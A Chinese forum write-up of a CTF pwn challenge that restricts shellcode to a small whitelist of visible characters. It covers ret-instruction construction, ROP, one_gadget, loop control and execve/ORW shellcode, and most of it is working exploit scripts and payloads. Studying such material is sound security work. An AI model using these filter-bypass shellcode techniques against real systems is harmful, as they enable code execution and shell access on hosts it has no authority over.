-
-
[原创]可见shellcode字符的艺术
-
发表于: 2022-10-8 17:06 21920
-
最近在某新生赛中看见了一道shellcode题,要求是可见字符,一般的可见shellcode字符限制的话通常是ASCII可见字符,难一点就不包含特殊符号,但是这道题的限制是仅可用大写A-Z
外加hotnj145
这几个字符,这就让我很感兴趣了,这些字符构造shellcode有多大作用呢?
题目文件 - 链接:https://pan.baidu.com/s/16XG-BoRzSjLq9iPh5FV4zg?pwd=CTFF
本地测试环境是ubuntu18
,libc-2.27-3ubuntu1.6
先来看看伪代码
mmap
开了0x100大小RWX
的块,我们可以输入0x80大小数据,但随后会有inwhitelist
函数的检查,如果检查失败则打印Hacker并退出,接下来看看inwhitelist
函数
可以看到这就是一个白名单字符检查,必须要使用上图whitelist
数组里的字符,否则退出
由于白名单检查的时候,数据长度是由strlen
函数提供的,而strlen函数的检查机制就是遇到NULL字符停止,但是又不能直接传入NULL字符作为开头,因为之后执行的时候会被认为是非法指令,所以说需要一个带NULL字符的合法指令放在开头,然后shellcode正常跟在后面就行
注意打印出来的shellcode开头,xor eax,0x4141
其实就是5AA\x00\x00
,因为eax是4字节的而我们的立即数只传入了2字节所以会产生NULL字符补充高位
这种方法确实解决了这道题,但是还没完呢,通过绕过strlen
函数的方式总感觉有点投机取巧,如果就按照题目的限制撸个shellcode出来多帅啊,很明显我想当一回真英雄,于是有以下研究,将一些技巧融入几个实际利用的手法中介绍
首先,大概整理一下可以现在还可以用哪些指令
不完整,只是大概看看能输入怎样的指令,注意有些指令结尾是需要\x00
的,有些可以通过增加立即数避免产生,有些则无法避免,如果不输入NULL字符的话,就将指令放结尾由缓冲区默认的NULL字符补充为合法指令,但是就无法继续在后面增加指令了,因为继续输入会覆盖掉这些NULL字符
我们仔细看看main函数
如果我们能跳转到1314的位置,就可以控制read函数的指针达到任意写,因为rax
是我们可控的,而rsi
不行,因为pop rsi
编译是_
字符,不在白名单中
众所周知,rip
寄存器正常情况是不可读不可写的,只能通过某些指令间接操作,例如ret
指令,但是ret
指令值是0xc3
是不可见字符,该怎么构造呢,一番捣鼓过后发现0xc3 / 2 / 2 == 0x41
,而0x41
是可见字符A,那么操作空间就有了
我们先观察一下此时的寄存器和堆栈的状态
rax/rdi/rsi
指向的值都是当前用于存储shellcode
的内存块开头的地址,r12
寄存器是_start
的地址,其次,如果没有输入指令地方默认就是NULL字节将会被解析成add byte ptr [rax], al
指令,所以说后面都是一样的指令
那么,执行xor al,0x41
指令看看
可以执行三次默认的add
指令后,rax
指向地址的值变成了0xc3
也就是ret
指令,但是问题也很明显,之后还会继续执行add
将会继续改变+0x41
地址里的值就变成其他指令了,所以说我们要恰好在+0x41
偏移的位置执行ret,中间的空间可以用一下无意义指令填充,而ret
之后执行流改变也就不用管后面的指令了
那么现在的操作就很简单了,构造出程序基址+1314
的值push
进栈顶,之后ret
执行的时候就pop
进rip了,_start
地址与执行read
片段位置的异或值是0x214
,由于立即数也只能用白名单里的字符要想办法构造,fuzz一下发现0x41414141^0x41414355=0x214
,因为单个字节异或不出0x214
,只用两个字节又会产生NULL字符,所以说选用两个四字节但高2字节相同的就好
先上payload
操作可以分成几个部分,现在解读一下,首先一直push rax
是为了填充栈,因为不想在其中包含NULL字符,所以需要增加立即数来使用xor dword ptr [rax+0x48], ecx
,已经尽量选了一个比较小的,push rsp; pop rax
是将栈指针传递给rax
之后就能通过rax
加偏移异或ecx
来修改栈中的值,首先构造出0x214
在栈中,再把用于填充的值再pop
走让rcx=0x214
,r12
是_start
地址前面已经说过,异或0x214
就得到我们想要的read片段的地址,这里注意栈虽然pop
很多次已经降下来了,但rax
值没变,所以直接用就行,看图
0x7ffd166c8eb8+0x48==0x7ffd166c8f00
,所以直接push r12
就行
之后rsp
就是read
函数片段的地址,之后将rdx
设置为0x41414141
,一个巨大的值,之后调用read就能随意写入,接着的push ; pop
指令都是无意义操作,单纯填充位置,因为要在+0x41
位置才能调用ret
成功回到main
中调用read
函数,这里直接写入任意shellcode就行,写入的位置为shellcode地址+0x41
的位置,也就是从ret
这条指令本身开始覆盖写,虽然我们手动调用read
造成任意字符写,之后会重新进入shellcode
块重新执行,之后会发现执行shellcode
出现了问题,在+0x41
位置开始的指令跟我们传入的不一样,比如
这是因为,程序再次执行了之前写入的shellcode
,其中默认NULL字符被解析成的add
指令会修改+0x41
位置的值,造成指令被篡改,这也是我们造出ret
指令的方法,现在只需要预判一下会修改哪个字节让他修改的结果是我们本身想执行的指令就行,调试一下就能知道其实就是第一个字节被改了,我传入的shellcode如下:
将第一个字节\x31
拿出来运算
&0xff
是因为add
时候是单字节操作,不会影响高位,所以只取一个字节,\x6e
经过运算就能还原成\x31
,从而保持shellcode
不变,修改第一个字节变成:
现在能正常执行:
exp:
其中传入的可见字符shellcode
:
既然能造ret
指令,那再布局一下栈,岂不是直接ROP,起飞~
要想控制栈就要对栈调用read
写入,因为用shellcode
太麻烦了,而且长度有限,而上一节中rax
不是完全可控的,如果改变rax
的值也会影响到ret
指令的构造,但是又不能直接pop rsi
(不在白名单中),所以用pop rsi; pop r15; ret
的gadget来代替rax
控制read
函数写入的位置,调整一下调用read
的位置为+0x1317
偏移处(见下图),还有,固定在+0x41
偏移调用ret
相当于变相削减shellcode
长度,这里介绍一下其它构造ret
指令的方式
基本payload构造的话基本上都是上一节的操作,这里直接贴出,操作等价于p64(pop_rdi_ret)+p64(__libc_start_main+231)+p64(elf.plt['puts'])+p64(pop_rsi_r15_ret)+p64(stack_addr)+p64(main_read_gadget)*2
,控制read
时的指针写入栈,那么就会覆盖到call read
的时候保存的返回值,从而劫持程序执行流
但是这里换了一种方式来构造ret
指令,这里介绍一下:
观察一下栈,可以发现有__libc_csu_init
,这是在栈中经常会出现的地址,它跟程序基地址有着固定偏移,熟悉PIE
的应该能知道最后面三位是永远不会变的,也就是3a0
,既然会固定出现,那么我们就利用这个a0
造出0xc3
,尝试之后发现白名单中的可见字符与其异或是不能得到0xc3
这个值的,一次异或不行?那就两次!0xa0^0x52^0x31=0xc3
,分别是R字符和1字符,构造ret
指令payload:
首先将shellcode
地址给rax
然后修改低位,再加上之后xor
指令又加了立即数,那就可以变更后面的指令,由于我们可以输入的长度是0x80
,那么这里设置ret_addr = shellcode_addr(rax) + 0x41(xor_al) + 0x48(立即数)
,那么ret
指令就会出现在+0x89
位置,这个地方我们修改不到,很不错,可以防止覆盖掉或者误操作
可以看到,原本+0x89
位置的值是0
,第一次异或则是赋值操作,因为0
异或任何数等于其本身,然后两次异或之后就变成了0xc3
,此时用pwndbg
将这个地方解析成指令查看,就会发现有ret
指令了,这里可能有同学有疑问,这里一直是四字节的操作而0xc3
是单字节的,那么高三字节被解析成指令不会对其产生影响吗,这是因为小端序的原因,其他三字节在内存中存储都是跟在0xc3
后面的,这里我们永远先执行到ret
,这就够了
因为限制,构造ROP就比较麻烦,虽然已经尽可能节省指令长度了,但还是超出了限制,现在输入的shellcode
长度是0x81
,多了一个字节。。
先贴出最终exp:
其中的可见字符payload:
提一下调试过程中出现的问题/解决办法/注意点
因为输入长度限制在0x80
,所以最终的exp
看起来就比较乱了,而且调整了一些指令,因为要优先节省字节其次解决调试中的各种问题,建议先看刚开始的payload
再来理解最终exp
。调试过程中发现,如果用puts
来泄露libc
虽然方便但是会改变rax/rdx
寄存器的值
这里提一下fuzz
的过程,首先先看最终exp
之后指令会变成什么
可以看到shellcode+0x6e
偏移的指令被改成了xor dword ptr fs:[rax + 0x58], ecx
,这条指令执行之后不会改变任何寄存器和栈里的ROP,也没有破坏后续的指令,那自然可以继续往下执行最终实现ROP
前面提到过修改两个立即数和指令能影响最终被修改出来的指令,举个例子,把exp
中最后的指令修改成这样
将push 0x31
移到了xor
指令上方,这完全不影响后续指令的效果,但影响最终被修改成的指令,另外还修改了xor al
指令中的立即数,那么我们fuzz
一下可以发现以下偏移值都是可以正常ROP利用的,第一个值是xor al
中的立即数,第二个是[rax+xx]
中的立即数
同理,修改最终exp
片段,控制第一个立即数为0x74
的话有这些可以使用,而最终exp
中第一个立即数使用0x6e
的话则只有0x6e,0x58
一种组合
fuzz脚本:
有报错的说明是没有成功构造出ret
指令,所以不报错的都是偶数值,其次没有EOF的就是不影响执行,成功getshell
,可以正常执行命令
其它需要注意的地方
使用ROP可以看到确实能实现但真的复杂,用one_gadget的话能方便很多,但弊端是必须知道远程的libc版本,这也是为什么这种利用方式放在ROP后面讲的原因,用one_gadget的话是没有ROP那么稳定的,因为ROP的时候泄露了libc可以很好地猜测libc版本,当然也可以先构造出leak libc的操作先单独进行猜测版本,再对应找one_gadget,所以这种利用方式还是有一定的作用的
如果要使用one_gadget
,那么首先要解决的就是地址问题,之前出现的构造从栈或者寄存器找到比较相近的地址进行异或构造,这些地址是程序中需要用到的,与程序关系是很紧密的,导致这些相关地址是经常出现的,而one_gadget
没有,我们可以找到与libc
相关的地址,但与one_gadget
相差过大,我们手中的字符是很有限的,几乎不可能刚好就能异或出这些libc
相关地址与one_gadget
的偏移值,虽然不能一下子构造出偏移值,但我们可以通过逐字节逐字节的操作来达到目的
首先我们选定一个libc
相关的地址,我这里就用shellcode
的地址了,因为它由mmap
与libc
存在固定偏移,所以与one_gadget
也存在固定偏移,先查找一下one_gadget
,用-l 2
参数可以获取更多,但是条件会比不加参数找到的更麻烦,但我们现在是控制程序执行什么指令的,所以不用太在意条件问题,这里列出部分输出
接着计算一下shellcode
地址到one_gadget
的偏移,用gdb
动调取值
我们把这个偏移值拆成一个个单字节来看,比如0x5c9d5b
,看作[0x5c,0x9d,0x5b]
三个字节,发现0x9d
是我们不好构造的值,同理0x9c/0xb1
都是一样,那么就排除掉了前三个one_gadget
,剩下两个其中的[0x53,0x3b,0x9,0x2]
都是我们可以构造的值,所以说这一步就是挑软柿子捏,反正one_gadget
有很多,找出能容易利用的。下一步,我们看回这两个one_gadget
需要满足的条件,我选了个容易满足的0xe54fe
,让rcx = 0 & [rbp-0x70] = 0
即可,rcx
和栈都是我们能直接控制的
先贴出最终exp
,要注意刚开始很多个push
,1是满足one_gadget
利用条件,2是xor
指令中必须使用立即数才能保证指令不存在NULL字符,所以需要填充出偏移
可见字符payload:
这里又换了一种方式构造ret
指令,稍微提一下,如果异或不能直接构造出对应指令的值,那么可以先xor
再add
,但这里的话相当于只用了加法,0x6f+0x54=0xc3
就能直接构造出来,如果不能的话可以再次异或再用默认指令执行add
,这样可获得的值会更多
这种方式虽然在现在能找到合适的值,但是逃避绝对不是解决问题的好办法,而且换到其他题目中不一定是要执行one_gadget
也可能需要调用其他函数,接下来介绍一种更加稳定和通用的方式
这次我们不选择容易构造出偏移值的one_gadget
,我们选最方便的,先不考虑如何构造的问题,比如第一个one_gadget
就很方便利用
然后算出偏移,这次我们选用的相关libc
地址是__libc_start_main+231
,这个地址在栈中经常出现,更容易获得,可以说是几乎每道题都能找得到,而mmap
的地址可不是每道题都有
那么偏移量就是0x2d61e
,看似我们还是无法构造出其中的0xd6
字节,那么将这个值除以2看看
这个值中包含[0x01,0x6b,0x0f]
,我们就很好构造了,那么怎么通过这个值构造回0x2d61e
,最直接的办法肯定是造两个add
指令,将__libc_start_main+231
加上两个0x16b0f
就获得one_gadget
地址,但是,不是每个偏移量除一次就能获得好构造的字节的,如果除5次好利用就造5个add
指令将会大大消耗shellcode
的字节数,而且造指令也挺麻烦,偏移量需要是可以使用的字符作为立即数,那么我们换个思路,我们控制add
指令执行多少次,那就避免了疯狂造指令的行为,所以这里是要介绍通过push+ret
来实现流程控制的方法
先放出最终exp
:
可见字符payload:
动态调试起来讲解一下怎么实现流程控制的部分
首先构造出ret
指令,这个在前面用过,这里就不再提,之后执行xor dword ptr [rdx+0x59],ecx
是异或HBPH
字符,之后造出add dword ptr [rax + 0x48], edx
指令用来将__libc_start_main+231
修改为one_gadget
地址
然后这里有个xor al,0x58; push rax
,此时rax=shellcode_addr
,所以构造出shellcode_addr+0x58
,这个位置就是add
指令的位置
现在是在执行第一次的add
指令
然后执行ret
的时候,跳回之前add
指令的地方再次执行,可以看到现在栈顶就是one_gadget
的地址,之后再次ret
的时候就跳到one_gadget
来getshell
了,所以说我们需要控制重复执行的指令在shellcode
的尾部,之后构造出要重复执行指令的位置进行push
,控制push
的次数以及ret
指令就能控制执行重复指令的次数,实现循环的效果,这里需要注意一下我选用的修改libc
地址的指令为add qword ptr [rax+0x48],rdx
,而默认NULL字符解析的指令是add byte ptr [rax], al
会影响到构造偏移值的过程,所以造的ret
指令需要紧跟着shellcode
最后面,或者选用其他指令来避免
在熟悉流程控制的技巧之后,我觉得还有一个更实用的案例就是ORW,首先将各种参数push进栈,最后循环进行pop设置参数以及三次syscall,分别是open、read、write,这样就能大大节省指令长度,而且更加贴近赛题,众所周知,想要快速提升pwn题目的复杂度首要操作就是禁止getshell只能ORW
不过这里没什么新的东西可说了,有不懂的地方可以先看后一节的构造execve
系统调用再回来看,这里就直接贴出exp,这段shellcode
需要满足两个条件,1. rax = shellcode_addr
,2. r8~r15
其中一个寄存器为0即可,这里可以根据实际环境替换shellcode
中使用的r9
寄存器
可见字符payload:
通过跳回main函数片段以及寻找one_gadget的方式来利用并不通用,肯定是会受到环境的影响,相比起来,直接利用可见字符构造系统调用getshell才是 最帅 的方式
核心操作还是利用xor
指令,这里就不多说,列出一些通过异或构造的值
贴出最终exp
,在这个exp
中大概只需要满足一个条件:rax = shellcode_addr
,其次是r9 = 0
,这条指令中的寄存器可以直接改成r8-r15
中任意一个,而不用修改偏移,只要其中一个寄存器值为0即可,这个概率太大了,所以这个条件几乎可以忽略。如果需要在其他题目中使用这段shellcode
需要先让rax = shellcode_addr
,其次要手动校正其中的偏移量。exp
在常用的pwn
题系统版本ubuntu 16/18/20/22
上经过测试,工作良好。
注意一下,虽然都是可见字符,但是不能直接运行./shellcode
来传入,因为输入的时候会带回车
可见字符payload:
其中使用的独特字符,共22个:
回顾一下在前面实际利用方式中出现的姿势,以及介绍一些没能用上的一些技巧
单字节溢出造指令
还是利用NULL字符被解析成的add byte ptr [rax], al
的指令,可以发现这里是单字节为单位操作的,如果add
的结果大于0xff
将被忽略,举个例子,比如需要mov al,0
的指令,值为0xb0
,那么我们根据白名单字符,就填给al
传个0x50
执行默认指令三次后,shellcode_addr+0x50
指向的值为0xf0
,再执行一次值就会溢出,高位被忽略,值为0x40
之后我们发现,值没有还原为0x50
,只有0x80
(0x80*2=0x100
)会在溢出的时候溢出值等同于他本身,那比如么我们现在输入的是0x50
,我们就可以造出指令值为X0
(X为任意16进制数)的值,执行15次后就会获得0xb0
只需要控制好执行指令的次数就行,如果add
次数过多就填充无意义的指令,如果add
的次数过少就调大al
的值,如果没有合适的al
值可以先异或构造
rbp&rsp赌狗
我们利用手头上的白名单字符不管怎么异或都是无法获得ret(0xc3)
指令的,那么我们可以利用PIE
,给我们随机创造一些值,比如之前提到0xa0^0x52^0x31=0xc3
,当时是利用__libc_csu_init
地址最后两位偏移不变,但这个偏移是随着libc
版本变化的并不通用,我们可以等PIE
给我们创造出0xa0
,多运行几次观察rbp/rsp
的值,运行看看:
观察到rbp
是0结尾而rsp
是8结尾,多运行几次会发现前面的值都会变,而最后一位永远不会变
然后就可以构造以下payload:
既然rbp
最后一位是0是固定的,那么爆破rbp
为a0
结尾就是1/16的概率
可以看到,如果rbp
为a0
结尾,就能按照预期造出ret
push+ret实现流程控制
把想要多次执行的指令放在shellcode
末尾,然后构造出想要多次执行的指令的起始地址,控制push
次数来控制循环次数,最后跳到目的地就行,实用的示例就是构造地址的时候,算出偏移量后一直除以2,看字节是否都方便构造,然后控制执行多次add
指令还原出最终的偏移值再利用
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
)
p
=
process(
'./shellcode'
)
payload
=
asm(
'xor eax,0x4141'
)
+
asm(shellcraft.sh())
print
(payload)
p.sendafter(b
'you'
,payload)
p.interactive()
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
)
p
=
process(
'./shellcode'
)
payload
=
asm(
'xor eax,0x4141'
)
+
asm(shellcraft.sh())
print
(payload)
p.sendafter(b
'you'
,payload)
p.interactive()
push
0x34343434
push all_reg
pop rax rcx rdx r8
-
10
xor al,
0x41
xor dword ptr [r8], eax
xor dword ptr [rax], eax
#1\x00
xor dword ptr [rax
+
0x41
], ebx ecx edx ebp ...
xor dword ptr [rcx], esi
#11
xor qword ptr [r8
+
0x4d
], rcx
#A1\x00
xor dword ptr [rcx], esi
xor dword ptr [rax
+
0x6f
], r9d
xor dword ptr [rbx
+
0x31
], eax
xor eax,
0x4141
xor dword ptr [rip], esi
#xor rip出现不同指令
xor qword ptr [rip], rsi
xor qword ptr [rip], r14
add byte ptr [r8], al
#A\x00
push
0x34343434
push all_reg
pop rax rcx rdx r8
-
10
xor al,
0x41
xor dword ptr [r8], eax
xor dword ptr [rax], eax
#1\x00
xor dword ptr [rax
+
0x41
], ebx ecx edx ebp ...
xor dword ptr [rcx], esi
#11
xor qword ptr [r8
+
0x4d
], rcx
#A1\x00
xor dword ptr [rcx], esi
xor dword ptr [rax
+
0x6f
], r9d
xor dword ptr [rbx
+
0x31
], eax
xor eax,
0x4141
xor dword ptr [rip], esi
#xor rip出现不同指令
xor qword ptr [rip], rsi
xor qword ptr [rip], r14
add byte ptr [r8], al
#A\x00
>>>
hex
(
0x565172b69100
^
0x565172b69314
)
'0x214'
>>>
hex
(
0x41414141
^
0x41414355
)
'0x214'
>>>
hex
(
0x565172b69100
^
0x565172b69314
)
'0x214'
>>>
hex
(
0x41414141
^
0x41414355
)
'0x214'
payload
=
asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x48], ecx #_start^0x214=gadget_addr
push 0x41414141
pop rdx #控制read的读入字节数
push rdi #无意义指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41 #构造0xc3->ret指令
'''
)
payload
=
asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x48], ecx #_start^0x214=gadget_addr
push 0x41414141
pop rdx #控制read的读入字节数
push rdi #无意义指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41 #构造0xc3->ret指令
'''
)
p.sendline(b
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
p.sendline(b
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
>>> (
0x31
-
0x41
)&
0xff
240
>>> (
240
-
0x41
)&
0xff
175
>>> (
175
-
0x41
)&
0xff
110
>>>
hex
(
110
)
'0x6e'
>>> (
0x31
-
0x41
)&
0xff
240
>>> (
240
-
0x41
)&
0xff
175
>>> (
175
-
0x41
)&
0xff
110
>>>
hex
(
110
)
'0x6e'
p.sendline(b
"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
p.sendline(b
"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
from
pwn
import
*
context(log_level
=
'debug'
,os
=
'linux'
,arch
=
'amd64'
)
p
=
process(
'./shellcode'
)
#p = remote('119.3.83.106',10565)
#gdb.attach(p,'brva 0x1385\nc\nsi')
payload
=
asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x48], ecx #_start^0x214=gadget_addr
push 0x41414141
pop rdx #控制read的读入字节数
push rdi #无用指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41 #构造0xc3->ret指令
'''
)
print
(payload)
p.sendafter(b
'you'
,payload)
#pause()
sleep(
1
)
#p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.sendline(b
"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
p.interactive()
from
pwn
import
*
context(log_level
=
'debug'
,os
=
'linux'
,arch
=
'amd64'
)
p
=
process(
'./shellcode'
)
#p = remote('119.3.83.106',10565)
#gdb.attach(p,'brva 0x1385\nc\nsi')
payload
=
asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x48], ecx #_start^0x214=gadget_addr
push 0x41414141
pop rdx #控制read的读入字节数
push rdi #无用指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41 #构造0xc3->ret指令
'''
)
print
(payload)
p.sendafter(b
'you'
,payload)
#pause()
sleep(
1
)
#p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.sendline(b
"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
p.interactive()
hAAAAXPPPPPPPPPPTXhUCAAY1HHYYYYYYYYYYAT1HHhAAAAZWXWXWXYQQ4A
hAAAAXPPPPPPPPPPTXhUCAAY1HHYYYYYYYYYYAT1HHhAAAAZWXWXWXYQQ4A
payload
=
asm(
'''
push 0x41414142 #控制rdx值
pop rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x48], ecx #_start^0x217=gadget_addr
pop r8 #save gadget_addr
push rdx #0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414142^0x41414443=0x501
pop rcx
push r12
xor dword ptr [rax+0x48], ecx #get pop_rsi_r15_addr
pop r9 #save pop_rsi_r15_addr
pop rcx #扔掉一个数据
push 0x41414242
pop rcx
push rdx #rdx=0x41414142
xor dword ptr [rax+0x50], ecx #0x41414142^0x41414242=0x300
pop rcx
xor dword ptr [rax+0x58], ecx #__libc_csu_init^0x300=puts@plt
pop r10 #save puts@plt
push r9 #pop_rsi_r15_addr
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x58], ecx #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x58], ecx #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop rdx #save pop_rdi_addr
push rdi #shellcode_addr
pop rax
xor al,0x41
pop rcx
pop rcx
pop rcx
pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx #0xf2^0x31=0xc3=ret
pop rcx #save __libc_start_main+231
push r8 #main_read_addr
push r8 #r15
push rsp #rsi
push r9 #pop_rsi_r15
push r10 #puts
push rcx #__libc_start_main+231
push rdx #pop_rdi
'''
)
payload
=
asm(
'''
push 0x41414142 #控制rdx值
pop rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12 #r12=_start
xor dword ptr [rax+0x48], ecx #_start^0x217=gadget_addr
pop r8 #save gadget_addr
push rdx #0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x48], ecx #0x41414142^0x41414443=0x501
pop rcx
push r12
xor dword ptr [rax+0x48], ecx #get pop_rsi_r15_addr
pop r9 #save pop_rsi_r15_addr
pop rcx #扔掉一个数据
push 0x41414242
pop rcx
push rdx #rdx=0x41414142
xor dword ptr [rax+0x50], ecx #0x41414142^0x41414242=0x300
pop rcx
xor dword ptr [rax+0x58], ecx #__libc_csu_init^0x300=puts@plt
pop r10 #save puts@plt
push r9 #pop_rsi_r15_addr
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x58], ecx #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x58], ecx #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop rdx #save pop_rdi_addr
push rdi #shellcode_addr
pop rax
xor al,0x41
pop rcx
pop rcx
pop rcx
pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx #0xf2^0x31=0xc3=ret
pop rcx #save __libc_start_main+231
push r8 #main_read_addr
push r8 #r15
push rsp #rsi
push r9 #pop_rsi_r15
push r10 #puts
push rcx #__libc_start_main+231
push rdx #pop_rdi
'''
)
payload
=
asm(
'''
push rdi #shellcode_addr
pop rax
xor al,0x41
pop rcx #扔掉一个数据
pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx #0xf2^0x31=0xc3=ret
'''
)
payload
=
asm(
'''
push rdi #shellcode_addr
pop rax
xor al,0x41
pop rcx #扔掉一个数据
pop rcx #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx #0xf2^0x31=0xc3=ret
'''
)
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x00000000
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x9b1bb3a0
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x9b1bb3f2
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x9b1bb3c3
pwndbg> u
0x7fcfbc046089
5
►
0x7fcfbc046089
ret
0x7fcfbc04608a
mov bl,
0x1b
0x7fcfbc04608c
wait
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x00000000
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x9b1bb3a0
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x9b1bb3f2
pwndbg> x
/
x
0x7fcfbc046089
0x7fcfbc046089
:
0x9b1bb3c3
pwndbg> u
0x7fcfbc046089
5
►
0x7fcfbc046089
ret
0x7fcfbc04608a
mov bl,
0x1b
0x7fcfbc04608c
wait
from
pwn
import
*
context(log_level
=
'debug'
,os
=
'linux'
,arch
=
'amd64'
)
p
=
process(
'./shellcode'
)
elf
=
ELF(
'./shellcode'
)
libc
=
elf.libc
one
=
[
0x4f2a5
,
0x4f302
,
0x10a2fc
]
payload
=
asm(
'''
push rsp
pop rax
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop r8 #__libc_csu_init
pop r9 #__libc_start_main+231
pop rcx #扔掉数据
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push 0x41414142 #控制rdx值
pop rdx
push rdx
push 0x41414355
pop rcx
